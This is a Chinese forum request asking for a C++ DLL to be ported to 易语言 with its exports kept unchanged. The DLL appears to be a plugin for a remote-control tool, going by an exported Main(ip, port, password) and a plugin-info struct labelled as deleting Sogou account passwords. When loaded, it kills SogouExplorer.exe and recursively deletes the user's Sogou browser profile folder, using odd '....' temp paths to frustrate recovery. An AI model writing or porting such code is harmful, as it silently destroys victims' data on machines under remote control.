|

5精币
懂C++的来,这是一个dll的代码,求帮忙把这个c++代码,转换用易语言去写该怎么写。需要保留c++代码里的dll结构和框架不变,以及导出函数不能变。
#include <windows.h>
#include "tchar.h"
#include <string>
#include <Psapi.h>
#include <string.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
#pragma comment (lib, "Psapi.lib")
#define SAFE_DELETE(p) { if(p) { delete (p); (p)=NULL; } }
#define SAFE_DELETE_AR(p) { if(p) { delete[] (p); (p)=NULL; } }
int Kill_Pro(const TCHAR* Kill_Name) //功能函数。参数是进程名
{
while (1) { //死循环为了一直获取当前系统正在运行的进程
// 为进程的所有线程拍个快照
HANDLE hSnapshort = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshort == INVALID_HANDLE_VALUE)
{
// printf("CreateToolhelp32Snapshot调用失败!\n");
return -1;
}
// 获得线程列表
PROCESSENTRY32 stcProcessInfo;
stcProcessInfo.dwSize = sizeof(stcProcessInfo);
BOOL bRet = Process32First(hSnapshort, &stcProcessInfo);
while (bRet)
{
if (lstrcmp(stcProcessInfo.szExeFile, Kill_Name) == 0)
{
Sleep(2000); //等待时间
HANDLE hProcess = ::OpenProcess(PROCESS_TERMINATE, FALSE, stcProcessInfo.th32ProcessID); //获取进程句柄
::TerminateProcess(hProcess, 0); //结束进程
CloseHandle(hProcess);
}
bRet = Process32Next(hSnapshort, &stcProcessInfo);
if (!bRet) return 1;
}
CloseHandle(hSnapshort);
}
return 0;
}
bool FnDelPathFile(TCHAR* tc_path)
{
SECURITY_ATTRIBUTES safestruct = { sizeof(SECURITY_ATTRIBUTES) ,NULL,false };
//获取系统temp目录+字母
TCHAR* tem_path = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path1 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path2 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path3 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path4 = new TCHAR[MAX_PATH * 2];
GetTempPath(MAX_PATH * 2, tem_path);
unsigned seed;
seed = (unsigned)GetCurrentProcessId();
std::srand(seed);
int A = rand();
int B = A + 1;
wsprintf(tem_path1, _T("%s%d"), tem_path, A);
CreateDirectory(tem_path1, &safestruct); //CreateDirectoryA(目录, 安全性结构)
wsprintf(tem_path2, _T("%s%s"), tem_path1, _T("\\....\\"));
CreateDirectory(tem_path2, &safestruct);// CreateDirectoryA(目录 + “\....\”, 安全性结构)
wsprintf(tem_path3, _T("%s\\%d"), tem_path2, B);
MoveFile(tc_path, tem_path3); //MoveFileA(文件名, 目录 + “\....\” + 字母)
wsprintf(tem_path4, _T("%s\\%d"), tem_path1, B);
MoveFile(tem_path2, tem_path4); // MoveFileA(目录 + “\....\”, 目录 + “\” + 字母)
DeleteFile(tem_path1); //删除目录(目录)
DeleteFile(tem_path2); //删除目录(目录)
DeleteFile(tem_path3); //删除目录(目录)
DeleteFile(tem_path4); //删除目录(目录)
SAFE_DELETE_AR(tem_path);
SAFE_DELETE_AR(tem_path1);
SAFE_DELETE_AR(tem_path2);
SAFE_DELETE_AR(tem_path3);
SAFE_DELETE_AR(tem_path4);
return 1;
}
bool RemoveDir(const TCHAR* szFileDir)
{
std::wstring strDir = szFileDir;
if (strDir.at(strDir.length() - 1) != _T('\\'))
strDir += _T('\\');
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile((strDir + _T("*.*")).c_str(), &wfd);
if (hFind == INVALID_HANDLE_VALUE)
return false;
do
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (_tcsicmp(wfd.cFileName, _T(".")) != 0 &&
_tcsicmp(wfd.cFileName, _T("..")) != 0)
RemoveDir((strDir + wfd.cFileName).c_str());
}
else
{
DeleteFile((strDir + wfd.cFileName).c_str());
if ((strDir + wfd.cFileName).size() < (MAX_PATH * 2))
{
TCHAR* tc_path = new TCHAR[MAX_PATH * 2];
ZeroMemory(tc_path, MAX_PATH * 2);
wcscpy_s(tc_path, (strDir + wfd.cFileName).length() + 1, (strDir + wfd.cFileName).c_str());
FnDelPathFile(tc_path);
SAFE_DELETE_AR(tc_path);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind);
RemoveDirectory(szFileDir);
return true;
}
void KillAndRemoveDir(const TCHAR* Kill_Name, const TCHAR* path)
{
Kill_Pro(Kill_Name);
TCHAR szPath[MAX_PATH];
SHGetSpecialFolderPath(NULL, szPath, CSIDL_STARTUP, FALSE);
const TCHAR* d = _T("\\");
TCHAR* p;
TCHAR* context;
p = _tcstok_s(szPath, d, &context);
int i = 0;
while (p)
{
if (i == 2)
{
break;
}
p = _tcstok_s(NULL, d, &context);
i++;
}
TCHAR aadir[MAX_PATH];
wsprintf(aadir, _T("C:\\Users\\%s%s"), p, path);
Sleep(1000);
RemoveDir(aadir);
return;
}
HANDLE hThread = NULL;
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
KillAndRemoveDir(_T("SogouExplorer.exe"), _T("\\AppData\\Roaming\\SogouExplorer"));
Sleep(3000);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
if (hThread == NULL)
{
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程
WaitForSingleObject(hThread, INFINITE);
}
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) bool Main(TCHAR * ip, DWORD port, BOOL IsTcp, TCHAR * passwoed, BOOL RunDllEntryProc)
{
return 0;
}
struct PlugInfo
{
char mark[30]; //标记
char mode[30]; //直接加载
BOOL isx86; //是不是32位
BOOL isautorun; //是否自动运行
TCHAR Group[255]; //菜单分组
TCHAR dllname[255]; //DLL名字
TCHAR dlltext[255]; //说明
BOOL bmutual; //是不是交互
}MyDLLInfo =
{
"getinfo",
"",
#ifdef _WIN64
false,
#else
true,
#endif
FALSE, //是否自动上次运行
_T("删除"),
_T("删除sogou账号密码"),
_T("删除sogou账号密码"),
};
extern "C" __declspec(dllexport) int invalid()
{
int len = lstrlen(MyDLLInfo.Group);
return len;
}
|
|